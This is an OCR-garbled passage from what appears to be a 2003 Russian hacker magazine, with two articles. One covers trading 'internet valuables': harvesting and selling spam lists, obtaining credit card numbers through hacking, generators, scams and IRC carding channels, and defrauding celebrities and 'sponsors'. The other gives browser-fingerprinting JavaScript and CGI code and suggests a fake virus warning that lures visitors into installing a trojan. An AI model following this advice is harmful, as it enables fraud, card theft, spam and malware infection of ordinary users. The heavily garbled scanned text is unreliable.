зов для «обкатки баннера». В принципе, 
ты их вернешь :))). Можно просто втупую 
накрутить, достаточно создать сайт из 20 
страниц и недельку самому на него похо- 
дить, но это вариант для тех, у кого хоть 
где-то есть халявный Инет. Ну и послед- 
нее, это холостые сайты; достаточно ча- 
сто есть сайт, на который можно повесить 
баннер, да как-то незачем, например, 
сайт твоей фирмы из 3-х человек. Если 
такого нет, так придумай его, зарегистри- 
руй во всех поисковиках, до которых до- 
тянутся руки, и 2-3 чела в день будет. По- 
ка ты будешь работать над созданием са- 
монакручивающегося мегауничтожителя, 
у тебя уже появится капитал. При мудром 
подходе тебе хватит и 10 показов для за- 
вала, например, narod.ru. 
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остальные. 


выбери ценность Инета по душе 


Vitalii or Vint (vitalii@shadrinsk.zaural.ru) 


Здравствуй! Сегодня я решил просветить весь честной 

народ о ценностях сети, какие они бывают, где 

добываются, как юзаются. Но сначала поделим их на 

2 типа: имеющие похожесть в реале и не имеющие оной. 

В первой ve проживают Webmoney, во второй - все 
е разводя флейму, приступим к делу! 


Web money 


В нашем Инет-мире много походит Ha мир, 
который ты видишь из окна: люди, работа, 
магазины, библиотеки, почта. Не надо быть 
большого ума, чтоб догадаться, что должны 
быть и деньги! Но это мы с тобой такие ум- 
ные, а деньги в Инете появились относи- 
тельно недавно! Сейчас эта идея называет- 
ся Webmoney. Вообще, Webmoney это целая 
система, с помощью которой люди с любо- 
го уголка планеты могут совершать мгно- 
венные денежные операции. Мы можем на 
наши Webmoney покупать стафф в Web-ma- 
газинах, платить за софт :), играть в казино, 
не отходя от компа, заказывать еду из Ине- 
та прямо домой (это вообще супер!). В об- 
щем, очень удобная весчь. Под эти сетевые 
денежки существует несколько типов Web- 
кошельков. Денежные операции представ- 
ляют собой перекидывание единиц из од- 
ного кошелька в другой, для проведения 
таких действий необходимо учитывать тип 
кошелька - деньги можно перекидывать 
только в однотипные кошельки! А поме- 
нять WM можно в специальных обменных 
пунктах (http://wm.exchanger.ru). Систе- 
ма WM считается очень надежной. Залить 
деньги на свой Web-kowenek можно через 
любой банк (даже Сбербанк РФ!). 

Вот сайты, где можно найти инфу о 
Webmoney: 


http://www.webmoneyworld.com, 
http://webmoney.ru, еще есть лист, пос- 
вященный электронным деньгам: етопеу- 
ru-subscribe@yahoogroups.com, для под- 
писки просто отправь туда пустое письмо. 


Имя и домен 


Наверно, Webmoney - единственная вещь, 
имеющая аналог в реале. Вряд ли в прос- 
той жизни ты стал бы вкалывать за прис- 
воение тебе имени "Вася". А в сети офи- 
генно ценится (читать: покупается) кра- 
сивое, звучное и краткое имя сайта. Все 
маломальские компании, связанные с 
компутерами, стараются отхватить имя 
покороче да позвучней и зону выбирают 
позаковыристей! Не просто „ги, а .net, a 
тои .org! Эти самые org и net часто явля- 
ются некой меркой "крутости" компаний. 
Многие директора считают: взять домен в 
буржуйском отделе Инета гораздо лучше 
- типа повысится престиж фирмы, пусть 
он даже стоит в несколько раз больше 10 
уев в год за ги (не сказал бы... winfo.org 
обошелся нам дешевле winfo.ru - прим. 
Дронича). Недавний пример борьбы за 
домен в иностранном сегменте: Яндекс, 
отстаивая свои права в WIPO Arbitration 
and Mediation Center на домен в зоне 
„сот, победил! И теперь www. Yandex.com 


Г пе gee eccrine бе рн oe В ва д | eee: 
а 0 el ae 

= 

И Seas 2. 
гроте ое TT 


Г pe На ва Бы a ee ЗЕЛЬЕ | + 


april/O4/2003 


принадлежит россиянам. Кстати, пока это 
единственный случай передачи домена в 
„сот зоне российской компании! Эту цен- 
ность ты сейчас вряд ли сможешь поиметь 
(хотя можешь начинать сквоттерить), но 
на будущее знай, что и такое бывает в на- 
шем мире. 


Спам-лист 


Эта фича ценится у ограниченного круга 
людей - спамеров - и носит имя спам- 
листа (для вагоновожатых: спам-лист - 
это файл, содержащий список действую- 
щих мыл). Ценность такого листа изме- 
ряется количеством адресов; чем боль- 
ше адресов несчастных юзверов пропи- 
сано в этом "документе", тем он круче. 
Также крутость спам-листа зависит от 
даты последней проверки - вот скажи, на 
кой фиг тебе спам-лист 91-го года про- 
верки, где добрые 99 процентов - дохлые 
адреса? Обычно составители таких спам- 


Все любители порнухи и 
Данечки готовы отдать любую 


благость, чтоб только узнать 
адрес странички! 


листов собирают их для себя или для об- 
мена с другими мыльными редисками, но 
бывают исключения - челы, имеющие 
шустрый Инет, иногда тоже занимаются 
сей работкой. Насобирав несколько ты- 
сяч валидных адресков, чел связывается 
со спамером и за несколько Web-moHeT 
соглашается отдать ему листик. Так сов- 
сем недавно видел несколько объявле- 
ний о покупке спам-листа, в среднем це- 
на составляет 3 бакса за 10000 мыл. Вот 
такие пироги! А если ты сам хочешь за- 
получить такой листик и сменять его на 
некоторые благости, то вот этакие проги 
тебе помогут (надеюсь, ты не думаешь, 
что адреса собирают руками!): Май 
Grabber (брать на www. mailgrabber.ru) 
и Advanced Email Extractor Pro от Anekca- 
Hapa Горлача (брать Ha wWww.mass- 
mail.ru), добавлю только, что это очень 
простые программки с русскими фейсом 
и хелпом. Так что вперед за мылами! Вот 
адреса, на который попадают объявы о 
купле/продаже спам-листов www.mafi- 
aboard.ru, http://sale.userline.ru, 
www.mitinka.ru (тут в основном Ha фо- 
руме), и советую поковырять поисковик 
на наличие ссылок! 


Адрес 


Ты не вчера родился и знаешь, что в се- 
ти полно противозаконных сайтов. Не- 
законными считаются сайты, пропаган- 
дирующие нацизм, рекламирующие или 
продающие наркоту, оружие, порнуху с 
героями младше 18 лет, и, конечно, 
сайты с мемуарами Данечки! Существу- 
ют специальные правительственные 
организации, которые ищут эти самые 
сайты и закрывают их, а иногда и весь 


В сети полно разных ценных 


вещей, главное - это уметь их 
видеть и использовать! 


сервак... Но любители Данечки нашли 
выход! Они создают сайт с левой те- 
мой, например, "жизнь тараканов в ус- 
ловиях холодильника студента МГУ", 
создают к нему очень слабый дизайн и 
собирают децл инфы, хоть немного ка- 
сающейся темы, а на пятидесятом уров- 
не вложенности выкладывают свою ан- 
тинародную (но почему-то самую нуж- 
ную всем!) инфу. Вот так-то: инфа ле- 
жит в Инете, но ее не найдешь ни через 
поисковик (они ж не дураки, чтоб свой 
сайт регистрировать), ни даже если 
случайно окажешься на этом сайте! 
Все любители порнухи готовы отдать 
любую благость, чтоб тока узнать адрес 
странички! Ты сам вряд ли легко най- 
дешь такой сайт, но если хочется зав- 
ладеть именно этим типом ценности - 
собирай мемуары и порно (сами мему- 
ары это уже порно!) и создавай сайт по 
идеям, описанным выше. И тогда у тебя 
появится еще одна ценная вещь - адрес 
запрещенного сайта! Для обмена этой 
ценности на веб-деньги советую схо- 
дить на форумы, посвященные теме 
твоего запрещенного сайта, посмотреть 
листы на Яхе (отправь пустое письмо 
на reply.rulists@soobcha.ru). 


Халявная инфа на мыло 


Здесь я расскажу о еще одной ценности - 
инфе. Ведь Интернет создавался, прежде 
всего, для обмена инфой, сейчас в Инете 
можно найти ответ на любой вопрос! Нуж- 
но только грамотно искать! Предлагаемый 
мной способ поиска инфы очень экономи- 
чен, то есть ты сможешь искать инфу под 
заказ, зарабатывая при этом вполне ре- 
альные у.е.! Скорость нахождения вполне 
удовлетворительна - я, к примеру, нашел 
нужный мне патч за 1 день, потратив толь- 
ко 4 рубля - на скачивание его из моего 
ящика! Для поиска инфы мы будем ис- 
пользовать не тупые поисковики (Яндекс, 
Рамблер), а обычных людей и некоторые 
веб-службы. Для получения столь ценной 
инфы нам достаточно иметь доступ только 
к E-mail ящику. Начнем с майл конф, это 
пришедшие из фидо эхи. Очень большое 
количество (около 350!) русскоязычных 
эх можно найти здесь - ммм.дгоирз. 
yahoo.com/group/ru-lists, или заказать 
список на мыло, отправив письмо на 
reply.rulists@soobcha.ru. Получив список, 
подписываемся на нужные, и через чуть- 
чуть у тебя будет ответ на твой вопрос. 
Видишь, как все просто! Еще можно почи- 
тать про эхи вот на этих сайтах: 


< 
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www.talk.ru, www.maillist.ru, 

www. mlist.list.ru, www.list.mail.ru, 
www.virtuals.atlant.ru, www.dir.ru/ 
maillists, www.citycat.ru, news-cen- 
ter.da.ru, www.beep.ru. 

Но продолжим поиск халявной инфы! Ec- 
ли у тебя дохлый Инет, а сетью попользо- 
ваться охота, то это для тебя: юзай служ- 
бу типа "WWW через мыло" - способ пре- 
дельно экономичный, а если мыло бесп- 
латное, то и халявный. Чтоб узнать об 
этих службах, отправь письмо на mail- 
Базе @ та Базе.ас.иК и в теле письма на- 
пиши [15-15 e-access-inet.txt. Послушать 
и обсудить этот способ доступа в Инет 
можно намылив пустое письмо web- 
mailtalk-subscribe@yahoogroups. com. 
Как видишь, ты можешь экономить и 3a- 
рабатывать деньги на поиске инфы в 
Инете! Смело предлагай свои услуги и 
срубай благости реала! 


Креды 


Ты уже догадался, о какой ценности я хо- 
чу сказать :), это номера кредитных карт. 
Уж об этой вещи ты слыхал, и причем не 
раз! Ведь зная номер кредитки, в Инете 
можно накупить всякого добра по самое 
не хочу! Тебе интересно, где берут эту 
благость бывалые кардеры? Я расскажу 
тебе основные способы заполучения 
столь нужных номеров (а с ними и халяв- 
ных буказоидов!): поломать онлайновый 
магазин/банк, заюзать устаревшие, но 
иногда используемые генераторы и 
экстраполяторы, кинуть ламеров (уни- 
версальный способ для добычи чего бы 
то ни было :)), обменяться номерками с 
кул-хацкерами, соорудить собственный 
онлайн-магазин, торгующий чем-либо по 
кредам (ух, чем тока не торгуют! :)). Про 
банк я опускаю - не хочу смотреть на не- 
бо в клеточку :). Про генераторы и 
экстраполяторы скажу лишь, что служат 
они для генерирования кучи левых номе- 
ров с заведомо валидной карты. У боль- 
шинства кардеров кидание лохов являет- 
ся основным способом срубания номе- 


Вот скажи, на кой фиг тебе 
спам-лист 91-го года проверки, 


где добрые 99 процентов - 
дохлые адреса? 


ров. Происходит это аналогично выужи- 
ванию логинов и паролей к Инету. Так 
что ничего принципиально нового не 
юзают, все та же человеческая доверчи- 
вость! Обмен номерами в сети процвета- 
ет! Есть и специальные ТКС-каналы, Ha 
которых происходит обмен (да те же #сс 
; #carding; #ccs от EFnet'a или #hacker; 
carding; #card; #CC; #carding ot DALnet'a 
). Пока Виза и МС очень котируются Ha 
большинстве собраний кардеров, так что 
ищи визовские карты! Заполучить номер 
валидной (или нет :)) карты ты можешь 
методом простого обмена на какую-ни- 
будь ценность, например, спам-лист, на 
таком канале. А последний способ - отк- 
рытие своего магазина в сети - мы уже 
обсуждали в прошлом Спеце, советую ту- 
да и заглянуть. Только я тебя предупре- 
дил, что все нелегальные операции с кре- 
дитными картами очень хорошо подпада- 
ют под статьи нашего УК! Как говорится, 
семь раз проверь, чтоб не купить себе пу- 
тевку в места не столь отдаленные вмес- 
то новой железяки! 


Халява 


Через сеть можно получить не только вир- 
туальные, но и вполне реальные ценности 
- вещи, диски. Для начала нужно найти 
инфу о свежей халяве. Это самый трудный 
и затратный процесс, но я тебе помогу! 
Вот некоторые сайты по "халявным" те- 
мам http://besthalyava.narod.ru, также 
есть специальная мэйл эха, посвященная 
халяве! Ловить так: отправь письмо на 
besthalyava-subscribe@yahoogroups.com 
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и rus4money-subscribe@yahoogroups.com, 
ответь на пришедшее тебе письмо от Яхи, 
и все! Можешь обсуждать места прожива- 
ния халявы! И пара советиков вдогонку. 
Русская халява явление редкое, но почти 
100% приходящая, в отличие от буржуйс- 
кой; отсюда вывод - видишь ссылку на 
русскую халяву, тыкай не задумываясь! 


Мыло и ася 


Каждый юзер аськи мечтает о коротком, 
легко запоминающемся номере, например 
666 вместо 3274907452279448464 (не ру- 
гайтесь, если кого обидел :))! Если ты 
счастливый обладатель интересного но- 
мера, не особо нужного тебе, ты можешь 
его выменять на чего-нибудь более полез- 
ное, ведь многие просто фанатеют от 
простых имен. Так же дела обстоят и с 
мыльницами - короткое мыло удобней 
длинного по многим параметрам, все ор- 
ганизации стараются забить себе мыло 
покороче и позвучней (как домен :)). Но 
на мыльном фронте дела обстоят несколь- 
ко лучше, чем у тети ACH, есть множество 
мыльных серваков с приемлемыми доме- 
нами (mail.ru; yandex.ru; townnet.net), 
которые готовы дать тебе мыло на халяву. 
Одна проблема - на Яндексе и Рамблере 
уже все интересные имена забиты! Оста- 
лись типа VasyaPypkinn12344@yandex.ru, 
а это не есть руль! Выход один - искать 
только открывшиеся серваки и забивать 
на них нормальные мыла (и не нормаль- 
ные тоже!), а потом хвастать своим мылом 
linux@super. сот! Желательно забивать 


Если ты счастливый обладатель 
интересного номера, не особо 


нужного тебе, ты можешь его 
выменять на чего-нибудь более 
полезное. 


имена на буржуйских серваках - есть на- 
дежда его загнать за веб-деньги. Поиск 
покупателя следует начинать с общеизве- 
стных чатов и форумов (да хоть с chat.ru), 
затем через поисковики - ищешь сайты по 
словам типа "куплю E-mail адрес" на рус- 
ских сайтах и "buy E-mail " Ha не наших, 
заканчивай поиск на конфах (все та же 
интернациональная яха). 


Координаты 


Этой ценностью ты вполне реально мо- 
жешь завладеть, не прилагая особых уси- 
лий! А ценность-то вся состоит в номере 
аськи или мыле: аська или мыло извест- 
ных людей или интересных девчонок! 
Поговорим сначала об использовании 
координат известных людей (надеюсь, 
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про девчонок ты догадался :)). В Инете 
особенно интересуются мылами музы- 
кантов, просто известных людей и "спон- 
соров". Также всегда интересны мыла 
(номера аськи), за которыми скрываются 
грамотные программисты, хакеры. Вот 
рассказываю, как тебе следует юзать и 
кому предлагать нашаренные тобой мы- 
ла. Музыкантские мыла ты, ессесно, бу- 
дешь предлагать фанатам, но тут есть не- 
которые особенности: если мыло сдерну- 
то с официального сайта музыканта, то 
тебя просто пошлют подалее, и если оно 
не валидное - тоже... При рекламе мыла 
учти направление музыки сего певуна! 
Не советую предлагать мыло Децла пок- 
лонникам металла. 

Мыла известных людей тоже можно ис- 
пользовать для своих нужд - предложить 
им свои услуги (например: "А давайте я 
вам сайтик нарисую"); если хорошо пос- 
тараться, то можно влезть в его доверие 
и срубить энное количество вечнодере- 


Отсюда вывод - видишь ссылку 


на русскую халяву, тыкай не 
задумываясь! 


вянных! А про "спонсоров" я тоже не за- 
был, им мы будем слать писульки с прось- 
бами об участии в покупке нового компа! 
Но следует писать какие-нибудь более 
жалостливые предлоги. .. Hy и последние 
в этой группе - программисты и хакеры, 
их мыла следует иметь в своем запасе 
для получения реальной помощи в ком- 
путерных вопросах! Ты всегда сможешь 
понтануться "своими" знаниями перед 
друзьями, девчонками, если будешь знать 
эти заветные мыла! 


А электронные адреса реальных девчонок 
следует выносить в особую категорию - 
особо нужных! Знакомясь с девчонками в 
Инете, ты оттачиваешь свое мастерство 
для реальной жизни. А собирая коллек- 
цию асек (мыл) таких леди, ты усилива- 
ешь свое положение в сети! Да и недавно 
подцепленная в сети девчонка может 


оказаться твоей соседкой, а значит, ваши 
отношения получат продолжение. Наде- 
юсь, я тебя убедил в необходимости сбо- 
ра мыл реальных людей? Тогда вот тебе 
лучшие способы: начинай свою миссию с 
посещения чатов и форумов, пиши в гос- 
тевухах объявы о знакомстве (не советую 
писать на каком-нибудь gay.com :)), вы- 
полнив сие не останавливайся! Следую- 
щим местом проживания благости служат 
эхи, начинай поиск с Яхи, список многих 
конф смотри выше. И напоследок подпи- 
шись на рассылку по интересующей теме! 
Подписаться можно Ha Subscribe (мона и 
на та!.ги), для этого зайди на www.sub- 
scribe.ru или напиши письмо на sub- 
scribe@subscribe.ru, а в теле (в смысле 
письма!) набей help. Вот так ты получишь 
нужные тебе адреса девчонок! 


А про музыкантов и известных людей те- 
бе следует внимательно изучать их сайты 
(но не вздумать тащить мыло, которое 
торчит на самом видном месте!) и читать 
между строк! Так ты можешь написать 
веб-мастеру сего сайта и выпросить нор- 
мальный мыл нужного чела, который он 
тебе доверит "по секрету" после нес- 
кольких веб-монет! Дерзай! 


Злоключение 


Как ты видишь, в сети полно разных цен- 
НЫХ вещей, главное - уметь их видеть и 
использовать! Запомни, что тебе всегда 
охотней помогут, если ты предложишь к 
просьбе любую ценность! И знай, что в 
сети процветает меновая торговля, то 
есть, имея одну благость, ты всегда смо- 
жешь выменять все остальные! Особенно 
нужными считаются спам-листы, так что 
старайся выменять именно их. Еще счи- 
таются хорошим товаром номера кред, но 
очень часто именно на них и кидают, к 
тому же за них можно и угодить куда по- 
дальше! А сейчас перед тобой куча спо- 
собов зарубания ценностей! Начинай, 
ибо дорогу осилит идущий (с)! Все траб- 
лы и флейм - мне на мыло. 
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СЗ МАРТА ПО 20 АПРЕЛЯ НА ХИТ-ЕМ 
ТЫ МОЖЕШЬ ВЫИГРАТЬ ПРИЗ, 

OT АУДИОПЛЕЕРА ДО АВТОМОБИЛЯ!!! 
ПОДРОБНОСТИ В ЭФИРЕ ХИТ-ЕМ 

И НА WWW.HITFM.RU 


Лицензия МПТР РФ на осуществление радиовещания №6549 от 08.10.02 


СЕТЕВОЕ МОШЕННИЧЕСТВО 


СЬБОР> 
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добываем инфу о юзере 


Любопытство - великая вещь. А любопытство в сочетании с 
чешущимися руками и горящими глазами - вещь великая 
вдвойне. Любому владельцу мало-мальски раскрученного 


сайта интересно знать, кто с чем жалует - у кого какое 
разрешение, какой броузер, какая операционка. Ведь с 
такой инфой можно предположить наличие дырок в системе 
и тогда попытаться ими воспользоваться. Тем более, что 
айпишник вытащить таким образом до ужаса легко. 


Леха BB aka Alexys (а1ех-зип@тти. ги) 


МЕТОДЫ СБОРА ИНФЫ О ЮЗЕРАХ 


Существует несколько методов для сбора 
данных о пользователях. Причем чистый 
HTML тут не поможет - он не обладает 
такими полномочиями. А вот если к этому 
хозяйству прилопатить Java Script и CGI, 
то можно проводить безопросные опросы 
о том, кто чем пользуется. Если поста- 
раться еще немного, то можно узнать та- 
кую инфу о многих юзерах и провести 
статистические вычисления, которые по- 
могут понять, что можно использовать 
при разработке и создании сайта. 


Возможность применения какого-либо 
метода зависит от возможностей хостин- 
га, от умения программить и от методов 
мышления. Самый простой метод может 
быть самым неудобным и бесполезным. А 
именно - просто на сайте написать прось- 
бу посылать информацию о системе тех 
юзеров, которые попадают на сайт. Это 
самый идиотский вариант сбора инфы, 
который можно вообще придумать :). Но 
пока CGI не получили распространения, 
только так и можно было узнать. Ведь за- 
частую юзеры сами понятия не имеют, что 
у них за система, а некоторые даже не 
знают, что такое разрешение! А ведь это 
тоже немаловажный параметр, если ты, к 
примеру, делаешь упор на дизайн сайта. 
Ведь сайт, сделанный под 640х480, будет 
просто нереально смотреть под 1024х768 
и большим. Но кто писать-то захочет? 
Найдется, может, пара добровольцев, ко- 
торым больше заняться нечем, но не бо- 
лее того. Большинство пошлет такого 
веб-мастера Ha X... или просто забьет на 
просьбу. А знать-то все-таки хочется. 
Встает вопрос - как? 


УЗНАВАНИЕ ДАННЫХ О ЮЗЕРЕ 
С ПОМОЩЬЮ JAVA SCRIPT 


При помощи Java Script можно многое y3- 
нать о юзере. Только вот вести статистику 
никакую не получится, ибо чистый Зауа 
Script не может ничего записывать в фай- 
лы, которые лежат на сервере. И не уди- 
вительно это, ведь Java Script - язык 
броузера. Но такие вещи, как тип броузе- 
ра, текущая кодировка броузера и разре- 
шение экрана определяются на ура. А это 
уже не мало, если дизайну сайта уделяет- 
ся не последнее внимание. 

При использовании Java Script’a надо 
вспомнить, какие методы возвращают 
значения этих самых параметров, и при- 
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дать эти значения переменным. При по- 
мощи 35 можно немного удивить юзера, 
зашедшего на сайт, выдав ему небольшую 
подборку узнанных о его системе сведе- 
ний. 


<html> 

<head> 

<SCRIPT LANGUAGE=«JavaScript» 
TYPE=«text/javascript»> 

<!- // 

var 

// переменная для определения 
кодировки 
ch=document.charset; 


// тип броузера 
ua=navigator.userAgent; 


// версия броузера 
v=navigator.appVersion.sub- 
string(0,1); 


// операционка 
os = navigator.appVer- 
sion.substring (27,38); 


// разрешение по горизонтали 
sw = screen.width; 


О тебе известно вот что: 
кодровни = windows: 125] 


ось - Wandkowa МГ. 

peapeum ne экрана 102457162 
Поддеракка lava Serge Ген} - Yes 
Гаубыена cmeta (быт) - 72 


// разрешение по вертикали 
sh = screen.height; 


// поддержка Java Script 
isjava = (navigator. javaEnab- 
led() ? «Yes» «No») ; 


// определение глубины цвета 
scd=screen.colorDepth; 


// текущая просматриваемая 
страница 

page=escape (window. loca- 
tion.href); 

// —> 

</SCRIPT> 

</head> 


<body> 
<h2>0 тебе известно BOT 
uto:</h2> 


<script> 
document.write(‘kogupoBKa - ‘ 
+ ch + ‘<br> броузер - ‘ + ua 


+ ‘<br> ось - ‘+ os + 
‘,<Бг>разрешение экрана ‘ + 
sw + ‘x’ + sh + ‘<br> Под- 


держка Java Script (Yes/No) - 
+ isjava + 
цвета (бит) - 


“<br> Глубина 
* + sed + 


. = 
|=) 


fpaqsep - УМ 0 foompable, METE 5 00, Windows NT 9 Oy 


и смотрим ты странных eh ЗАЛА АГ Termghrowrer] bend 
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Список данных о системе юзера, зашедшего на сайт, при помощи 


Java Script 


‘<br>a смотришь ты страницу 
+ page) 

</script> 

</body> 

</html> 


В результате юзер натолкнется Ha такую 
страницу, где ему как по полочкам будут 
выложены сведения о его системе. 


Под таким делом можно написать, что это 
стало известным по причине каких-ни- 
будь вирусов, а спасти от них может толь- 
ко программа, которую можно скачать с 
сайта. Ниже располагается линка на эту 
программу, которая будет не антивирусом 
или файрволлом, а самым обычным троя- 
ном. Наверняка не один юзер клюнет на 
это - скачает и установит троян. А уж как 
этим воспользоваться, не мне тебя учить. 
Определение данных о юзере только с по- 
мощью Java Script’a можно применять для 
таких случаев, когда надо загрузить нуж- 
ный с55-файл в зависимости от разреше- 
ния экрана юзера, ну ит.п. Но на базе Ja- 
va Script’a можно вести статистику, но для 
этого понадобится еще и ССТ. 


ВОЗМОЖНОСТИ ПЕРЛА 
ДЛЯ СБОРА ДАННЫХ 


В отличие от Java Script’a, который явля- 
ется языком броузера, скрипты Ha Perl’e, 
как и на любом другом языке для написа- 
ния СбТ-шников, исполняются на серве- 
ре. Вроде бы ничего и определить нельзя. 
Это почти так, но все же вместе с запро- 
сом передаются некоторые параметры и 
на сервер. А их никто не мешает опреде- 
лить. Причем эти данные определятся 
стопудово - тут не помогут никакие реза- 
тели скриптов и аплетов, которыми народ 
стал пользоваться. Если не будет запроса, 
то и ответа не будет :). От этого никуда не 
денешься. Ниже приведу фрагмент 
скрипта на перле, который определяет 
некоторые данные о юзере. 


print «<И3>Данные о юзере, 
определенные с помощью 
CGI</h3>\n»; 

print «Tun броузера: 

$ENV{ ‘HTTP_USER_AGENT’ }\n»; 
print «<br>\n»; 

print «Айпишник обратившегося 
к скрипту: $ENV{‘REMO- 
TE_ADDR’ }\n»; 


Специальная статистика 


ES] пользователеи: 2859 
g Активных авторов: 2 
=A Статей ony6nuKoeaHHa: 6 

J Действуюшие темы: 9 
<“ Комментарии: 3 
Спец, Секция; 0 
Pa Статьи и сакции! 0 
(39 ссылки: 31 
Е Категории в ссылках: 12 


Lf Новости ждущие публикации; 2 


Е Версия PHP-Nuke: 5.2 


У CGI, конечно, поменьше возможностей 
для определения сведений о юзере. Но 
такие методы, как использование только 
Java Script или только CGI, никакой нор- 
мальной картины дать не могут - все дан- 
ные известны только в тот момент, когда 
юзер обратился к странице. Причем толь- 
ко в момент обращения. Конечно, CGI- 
шник можно немного продлить и добавить 
запись в файл 2-х определяемых величин, 
но это почти никак не поможет. Знание 
только броузера мало чем поможет. 


У каждого из вышеописанных методов 
есть свои достоинства и недостатки. Java 
Script может много чего определить, но 
ничего не может записать. Следователь- 
но, ни о какой статистике речи просто 
нет. Сб1-шный метод может вести стати- 
стику, но только слишком она маленькая 
получается. Сам собой напрашивается 
вопрос, можно ли совместить эти 2 спосо- 
ба. А если можно, то как. 


CGI + JAVA SCRIPT = 
ПОЛНАЯ КАРТИНА О ЮЗЕРАХ 


Операционки, броузеры, разрешения и 
другие параметры встречаются у разных 
юзеров в разных сочетаниях. Например, 
один сидит nog UNIX’om, юзает Netscape, а 
другой сидит под двухтысячными, но при 
этом тоже пользуется нетскейпом. Знать в 
отдельности, что у кого и под чем, - не 
очень интересное занятие. Куда интерес- 
нее знать в целом, какой броузер более 
популярный, какое разрешение. Такие 
сведения можно получить только ведя 
статистический учет. Для этого надо 
определять всевозможные параметры и 


< 


СБОР ДАННЫН O НЛИЕНТЕ 


Java Script + CGI дают возмож- 


ность анализировать настройки 
юзерских систем. 


записывать их в файл. А потом натравли- 
вается какая-нибудь прога и высчитыва- 
ет, какие варианты сколько раз встреча- 
лись. Одним словом, анализирует. Как 
проводить Сстатанализы - придумаешь 
сам. Это уже зависит от того, что ты кон- 
кретно захочешь знать. А вот как собрать 
сведения, которые надо обработать, уже 
более интересная задача. 


Выше было сказано, что было бы непло- 
хо совместить возможности CGI и Java 
Script. Это сделать можно, но надо иметь 
представление о том, как скрипту пере- 
даются параметры и как они обрабаты- 
ваются (во 2-ом СПЕЦе этому посвящена 
статья). Самый простой вариант, кото- 
рый используется в Инете повсюду, - ис- 
пользование картинок. И счетчики, и 
баннерные сетки ведут такую статисти- 
ку. Только баннерные сетки отслежива- 
ют клики, переходы и прочую дрянь, с 
которой разбираться можно не один 
день. Причем результат разбирательств 
не всегда будет полезным. Да и не нужно 
тебе это, если не хочешь создать свою 
баннерную сеть. 

Картинка отображается не прямым указа- 
нием пути к ней, а указывается адрес 
скрипта, в результате работы которого по- 
лучается картинка. Только этот путь указы- 
вается с параметрами. Для сбора данных 
понадобится: Java $сирЁЕовый кусок, запи- 
хиваемый на страницы, - 1 штука; перло- 


Броузеры 


= MSIE: 
| Netscape: 
0 Opera: 


к Konqueror: - 0 % (0) 


| 8 Lynx: 


Se 54.53 % (214065) 


@® 4.469 % (11311) 
@ 1.493 % (3780) 


@ 0.047 % (120) 


fm Поисковых машин: @® 2.470 % (6253) 


3 Неизвестное: 


О «931 % (17542) 


Операционные системы 


a Windows: 

"ae @ 0.651 % (1648) 
$ мауррс: @ 0,276 % (701) 
“Trreessp: = ® 0,112 % (284) 
+ sunos: ® 6.042 % (108) 
PH тах: @ o % (0) 

Be веоз: @ 5.009 % (23) 


Ш osy2: 
Bas: 


@ 5.010 (26) 
@ 5 % (0) 


РЕ 


? Неизвестное: GD 7,593 % (19950) 
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Le РЕШЕНИЯ 


ДЛЯ РАСТУЩИХ 
КОМПАНИЙ 


фо фо фое 


Опыт успешных предпринимателей 
Секреты создания бизнеса 
Перспективные рынки 

Анализ деловой практики 
Эффективные приемы менеджмента 
Налоги и финансы 

Обзоры оборудования 

Юридические консультации 


o 


nt // WWW my OiZ.Fo 


(game)land 


[| genes 
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И чисто СС! немного может 


вый скрипт для отображения картинки и 
сохранения переданных данных - 1 штука; 
скрипт для подсчета и учета - 1 штука. 


Тот текст, который надо будет вставлять 
на страницы как 2 капли воды похож на 
код таких счетчиков, как на mail.ru, 
опе.ги и другие. Главное разобраться, что 
и куда в этих кодах передается. Сейчас 
попробую в этом помочь. Ниже для при- 
мера приведу один готовый код, к которо- 
му позже будет написана сохранялка раз- 
ведданных. Он будет передавать те пара- 
метры, которые определялись чисто Зауа 
Script’oBbIM методом в примере выше. 
Этот код будет вставляться во все страни- 
цы (ну или в те, с которых нужно собрать 
статистику). Чтобы картинка могла бы 
быть полезной, пусть она заодно будет 
ссылкой, ведущей, например, на главную 
страницу сайта. 


<!-YOUR СОУМТЕВ-> 

<a target=_top 
href=«http://winfo.org»> 
<script Language=«ja- 
vascript»> 

<!- 

уаг 

ДУ 

ch=document.charset; 


Определение параметров 


системы юзера через сайт не 
относится к Spyware. 


ua = navigator.userAgent; 

у = navigator.appVersion.sub- 
string(0,3); 

os = navigator.appVer- 
sion.substring (27,38); 

sw = screen.width; 

sh = screen.height; 

resol = sw + ‘x’ + Sh; 

15] ауа = (navigator. javaEnab- 
led() ? «Yes» «No») ; 

scd = screen.colorDepth; 

page = escape(window. Тоса- 
tion.href); 
document.write(«<img src=\» 
http://winfo.org/cgi- 
bin/stat.pl?», 

«ch=» + ch + «&ua=» + ua + 
«&v=» + У + «&resol=» + resol 
+ «&05=» + 0$ + «&15] ауа=» + 
15] ауа + «&scd=» + scd + 


Данные о мере, определенные с помошью COT 


Tun броузера Mocilla!4 0 (compatible, MSIE 5.01, Windows NT 5.0) 
Adie ofparammercea к скрипту 127002 


it ecm pacers 2 


«&page=» + page + «\»», 
width=25 height=15 « + «bor- 
der=0>») ; 

Lf 

—> 

</script> 

<noscript> 

<img src=« http://win- 
fo.org/cgi- 
bin/stat.pl?js=nojs» 
width=25 height=15 border=0> 
</noscript> 

</a> 

<!-YOUR COUNTER—> 


Передача параметров, определенных ко- 
дом выше, осуществляется при помощи 
Зауа Script’a между тэнами 
<script>...</script>. Параметры, onpe- 
деленные с помощью JS, передаются CGI- 
WHUKY в тэге <img src ...>. Передаваемые 
параметры отделяются от имени скрипта 
знаком вопроса (?), а между собой разде- 
ляются амперсандом (&). Передаваемые 
параметры выглядят примерно так: 


windows-1251; Mozilla/4.0 (compati- 
ble; MSIE 5.01; Windows NT 5.0); 4.0; 
1024x768; Windows NT; Yes; 32; fi- 
le:///D:/Testing/browser.html. 


Сведения о разрешении экрана переда- 
ются в удобочитаемой форме типа 
«1024х768». На мой взгляд, лучше всего 
передавать как один параметр разреше- 
ние по горизонтали и вертикали, ибо так 
просто удобнее их видеть без дальней- 
шей обработки. Все пробелы, которые 
встретились в значениях параметров, за- 
менены знаком %. Это надо будет учесть 
при написании скрипта обработчика. 


Если JS не работает (отключен, не устано- 
влен), то тогда ничего не будет передано, 
ибо ничего не определится. А для того 
чтобы узнать, что у кого-то JS не работа- 
ет, в тэгах <noscript>...</noscript> 
скрипту передается соответствующая ин- 
формация (stat.pl?js=nojs). Кроме того, 
содержимое тэгов <noscript>...</noscript> 
позволит заполнить место, которое могло 
бы быть пустым, картинкой. 


35-код написан. Теперь надо браться за 
с91-шник. В папке cgi-bin надо сделать 
